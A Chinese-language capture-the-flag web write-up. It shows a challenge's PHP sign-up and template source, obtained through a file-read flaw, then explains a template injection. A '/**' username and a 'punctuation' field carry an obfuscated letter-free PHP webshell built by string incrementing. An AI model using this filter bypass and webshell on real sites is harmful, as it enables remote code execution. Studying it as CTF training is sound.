先注册然后登录进行查看
经过测试，发现图片、游戏都是规定的网址，网站则是自己输入的网址
但是好康的通过抓包发现通过参数传值读取服务器的图片，而且有文件读取漏洞
返回的数据包存在base64加密后的文件内容
index.php：
<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){
$hash_user = md5($_POST['user']);
$hash_pass = 'zsf'.md5($_POST['pass']);
if(isset($_POST['punctuation'])){
//filter
if (strlen($_POST['user']) > 6){
echo("<script>alert('Username is too long!');</script>");
}
elseif(strlen($_POST['website']) > 25){
echo("<script>alert('Website is too long!');</script>");
}
elseif(strlen($_POST['punctuation']) > 1000){
echo("<script>alert('Punctuation is too long!');</script>");
}
else{
if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
$template = file_get_contents('./template.html');
$content = str_replace("__USER__", $_POST['user'], $template);
$content = str_replace("__PASS__", $hash_pass, $content);
$content = str_replace("__WEBSITE__", $_POST['website'], $content);
$content = str_replace("__PUNC__", $_POST['punctuation'], $content);
file_put_contents('sandbox/'.$hash_user.'.php', $content);
echo("<script>alert('Successed!');</script>");
}
else{
echo("<script>alert('Invalid chars in website!');</script>");
}
}
else{
echo("<script>alert('Invalid chars in username!');</script>");
}
}
}
else{
setcookie("user", $_POST['user'], time()+3600);
setcookie("pass", $hash_pass, time()+3600);
Header("Location:sandbox/$hash_user.php");
}
}
?>
<!doctype html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Simple Linux</title>
<link rel="stylesheet" type="text/css" href="css/styles.css">
<!--[if IE]>
<script src="http://libs.baidu.com/html5shiv/3.7/html5shiv.min.js"></script>
<![endif]-->
</head>
<body>
<div class="jq22-container" style="padding-top:100px">
<div class="login-wrap">
<div class="login-html">
<input id="tab-1" type="radio" name="tab" class="sign-in" checked><label for="tab-1" class="tab">Sign In</label>
<input id="tab-2" type="radio" name="tab" class="sign-up"><label for="tab-2" class="tab">Sign Up</label>
<div class="login-form">
<form action="index.php" method="post">
<div class="sign-in-htm">
<div class="group">
<label for="user" class="label">Username</label>
<input id="user" name="user" type="text" class="input">
</div>
<div class="group">
<label for="pass" class="label">Password</label>
<input id="pass" name="pass" type="password" class="input" data-type="password">
</div>
<!-- <div class="group">
<input id="check" type="checkbox" class="check" checked>
<label for="check"><span class="icon"></span> Keep me Signed in</label>
</div> -->
<div class="group">
<input type="submit" class="button" value="Sign In">
</div>
<div class="hr"></div>
<!-- <div class="foot-lnk">
<a href="#forgot">Forgot Password?</a>
</div> -->
</div>
</form>
<form action="index.php" method="post">
<div class="sign-up-htm">
<div class="group">
<label for="user" class="label">Username</label>
<input id="user" name="user" type="text" class="input">
</div>
<div class="group">
<label for="pass" class="label">Password</label>
<input id="pass" name="pass" type="password" class="input" data-type="password">
</div>
<div class="group">
<label for="pass" class="label">Your Website</label>
<input id="pass" name="website" type="text" class="input">
</div>
<div class="group">
<label for="pass" class="label">Your Punctuation</label>
<input id="pass" name="punctuation" type="text" class="input">
</div>
<div class="group">
<input type="submit" class="button" value="Sign Up">
</div>
<div class="hr"></div>
<div class="foot-lnk">
<label for="tab-1">Already Member?</a>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
</body>
</html>template.html：
<?php
error_reporting(0);
$user = ((string)__USER__);
$pass = ((string)__PASS__);
if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
echo($_COOKIE['user']);
}
else{
die("<script>alert('Permission denied!');</script>");
}
?>
</li>
</ul>
<ul class="item">
<li><span class="sitting_btn"></span>系统设置</li>
<li><span class="help_btn"></span>使用指南 <b></b></li>
<li><span class="about_btn"></span>关于我们</li>
<li><span class="logout_btn"></span>退出系统</li>
</ul>
</div>
</div>
</div>
<a href="#" class="powered_by">__PUNC__</a>
<ul id="deskIcon">
<li class="desktop_icon" id="win5" path="https://image.baidu.com/"> <span class="icon"><img src="../img/icon4.png"/></span>
<div class="text">图片
<div class="right_cron"></div>
</div>
</li>
<li class="desktop_icon" id="win6" path="http://www.4399.com/"> <span class="icon"><img src="../img/icon5.png"/></span>
<div class="text">游戏
<div class="right_cron"></div>
</div>
</li>
<li class="desktop_icon" id="win10" path="../get_pic.php?image=img/haokangde.png"> <span class="icon"><img src="../img/icon4.png"/></span>
<div class="text"><b>好康的</b>
<div class="right_cron"></div>
</div>
</li>
<li class="desktop_icon" id="win16" path="__WEBSITE__"> <span class="icon"><img src="../img/icon10.png"/></span>
<div class="text"><b>你的网站</b>index.php主要是用我们传进来的参数结果WAF过滤替换网站模板里的对应参数然后进行展示
然后就是要想办法传入php代码，但是WAF过滤很严，连<都过滤了，<?php 和<script都传不进来
只能利用template.html最开头的那个<?php
通过user字段的替换把后面多行注释，然后在punction那里进行闭合，并注释木马后面
所以再注册一个账号
user:/**
punction:/[]);$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);/
因为过滤了数字字母，所以用自增绕过
注意：之前是$user = ((string)/*);
$user这条语句还有问题，要用[]);来闭合，再加马
传入之后其实有回显，但被网页挡住了，可以在源代码里看